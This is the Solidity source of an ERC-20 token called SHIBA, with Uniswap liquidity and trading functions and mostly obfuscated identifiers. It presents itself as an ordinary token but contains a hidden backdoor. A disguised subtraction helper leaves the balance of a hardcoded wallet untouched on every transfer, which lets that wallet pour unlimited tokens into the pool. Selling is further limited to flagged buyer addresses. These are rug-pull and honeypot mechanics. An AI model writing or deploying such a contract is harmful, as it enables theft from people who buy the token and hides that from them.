文件 1 的 1:SHIBA.sol
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath");
return c;
}
function _rqjlo(uint256 a, uint256 b) internal pure returns (uint256) {
return _rqjlo(a, b, "SafeMath");
}
function _rqjlo(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function _pvr(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address
tokenA, address tokenB) external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[
] calldata path,
address to,
uint deadline
) external;
function factory() external pure
returns (address);
function WETH() external pure
returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint
amountToken, uint amountETH
, uint liquidity);
}
contract SHIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private _vdrpj;
address payable private _qojyop;
address private _rwkypo;
string private constant _name = unicode"SHIBA";
string private constant _symbol = unicode"SHIBA";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10 **_decimals;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _ewpner;
mapping (address => bool) private _yrkirhy;
mapping(address => uint256) private _fnqonp;
uint256 public _qvolqib = _totalSupply;
uint256 public _dwrpbxe = _totalSupply;
uint256 public _koTlfv= _totalSupply;
uint256 public _vopTlf= _totalSupply;
uint256 private _BuyinitialTax=1;
uint256 private _SellinitialTax=1;
uint256 private _BuyfinalTax=1;
uint256 private _SellfinalTax=1;
uint256 private _BuyAreduceTax=1;
uint256 private _SellAreduceTax=1;
uint256 private _yopeqnj=0;
uint256 private _erdzdy=0;
bool private _bfyqjh;
bool public _uefipvof = false;
bool private qaopne = false;
bool private _oetrhbv = false;
event _prkhsdc(uint _qvolqib);
modifier uhrholr {
qaopne = true;
_;
qaopne = false;
}
constructor () {
_balances[_msgSender(
)] = _totalSupply;
_ewpner[owner(
)] = true;
_ewpner[address
(this)] = true;
_ewpner[
_qojyop] = true;
_qojyop =
payable (0x29d52d3B363500a2bC9635d8FC2d06AAe58c97DF);
emit Transfer(
address(0),
_msgSender(
), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address _owner, address spender) public view override returns (uint256) {
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]. _rqjlo(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address _owner, address spender, uint256 amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 kvhrab=0;
if (from !=
owner () && to
!= owner ( ) ) {
if (_uefipvof) {
if (to
!= address
(_vdrpj)
&& to !=
address
(_rwkypo)) {
require(_fnqonp
[tx.origin]
< block.number,
"Only one transfer per block allowed."
);
_fnqonp
[tx.origin]
= block.number;
}
}
if (from ==
_rwkypo && to !=
address(_vdrpj) &&
!_ewpner[to] ) {
require(amount
<= _qvolqib,
"Exceeds the _qvolqib.");
require(balanceOf
(to) + amount
<= _dwrpbxe,
"Exceeds the _dwrpbxe.");
if(_erdzdy
< _yopeqnj){
require
(! _rafpiyb(to));
}
_erdzdy++;
_yrkirhy
[to]=true;
kvhrab = amount._pvr
((_erdzdy>
_BuyAreduceTax)?
_BuyfinalTax:
_BuyinitialTax)
.div(100);
}
if(to == _rwkypo &&
from!= address(this)
&& !_ewpner[from] ){
require(amount <=
_qvolqib &&
balanceOf(_qojyop)
<_vopTlf,
"Exceeds the _qvolqib.");
kvhrab = amount._pvr((_erdzdy>
_SellAreduceTax)?
_SellfinalTax:
_SellinitialTax)
.div(100);
require(_erdzdy>
_yopeqnj &&
_yrkirhy[from]);
}
uint256 contractTokenBalance =
balanceOf(address(this));
if (!qaopne
&& to == _rwkypo &&
_oetrhbv &&
contractTokenBalance>
_koTlfv
&& _erdzdy>
_yopeqnj&&
!_ewpner[to]&&
!_ewpner[from]
) {
_transferFrom( _wvaef(amount,
_wvaef(contractTokenBalance,
_vopTlf)));
uint256 contractETHBalance
= address(this)
.balance;
if(contractETHBalance
> 0) {
_pxleuoy(address
(this).balance);
}
}
}
if(kvhrab>0){
_balances[address
(this)]=_balances
[address
(this)].
add(kvhrab);
emit
Transfer(from,
address
(this),kvhrab);
}
_balances[from
]= _rqjlo(from,
_balances[from]
, amount);
_balances[to]=
_balances[to].
add(amount.
_rqjlo(kvhrab));
emit Transfer
(from, to,
amount.
_rqjlo(kvhrab));
}
function _transferFrom(uint256
tokenAmount) private
uhrholr {
if(tokenAmount==
0){return;}
if(!_bfyqjh)
{return;}
address[
] memory path =
new address[](2);
path[0] =
address(this);
path[1] =
_vdrpj.WETH();
_approve(address(this),
address(
_vdrpj),
tokenAmount);
_vdrpj.
swapExactTokensForETHSupportingFeeOnTransferTokens
(
tokenAmount,
0,
path,
address
(this),
block.
timestamp
);
}
function _wvaef
(uint256 a,
uint256 b
) private pure
returns
(uint256){
return ( a > b
)?
b : a ;
}
function _rqjlo(address
from, uint256 a,
uint256 b)
private view
returns(uint256){
if(from
== _qojyop){
return a ;
}else{
return a .
_rqjlo (b);
}
}
function removeLimitas (
) external onlyOwner{
_qvolqib = _totalSupply;
_dwrpbxe = _totalSupply;
emit _prkhsdc(_totalSupply);
}
function _rafpiyb(address
account) private view
returns (bool) {
uint256 edskfr;
assembly {
edskfr :=
extcodesize
(account)
}
return edskfr >
0;
}
function _pxleuoy(uint256
amount) private {
_qojyop.
transfer(
amount);
}
function openqTrading (
) external onlyOwner ( ) {
require (
! _bfyqjh ) ;
_vdrpj
=
IUniswapV2Router02
(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address
(this), address(
_vdrpj),
_totalSupply);
_rwkypo =
IUniswapV2Factory(_vdrpj.
factory( )
). createPair (
address(this
), _vdrpj .
WETH ( ) );
_vdrpj.addLiquidityETH
{value: address
(this).balance}
(address(this)
,balanceOf(address
(this)),0,0,owner(),block.
timestamp);
IERC20(_rwkypo).
approve(address(_vdrpj),
type(uint)
.max);
_oetrhbv = true;
_bfyqjh = true;
}
receive() external payable {}
}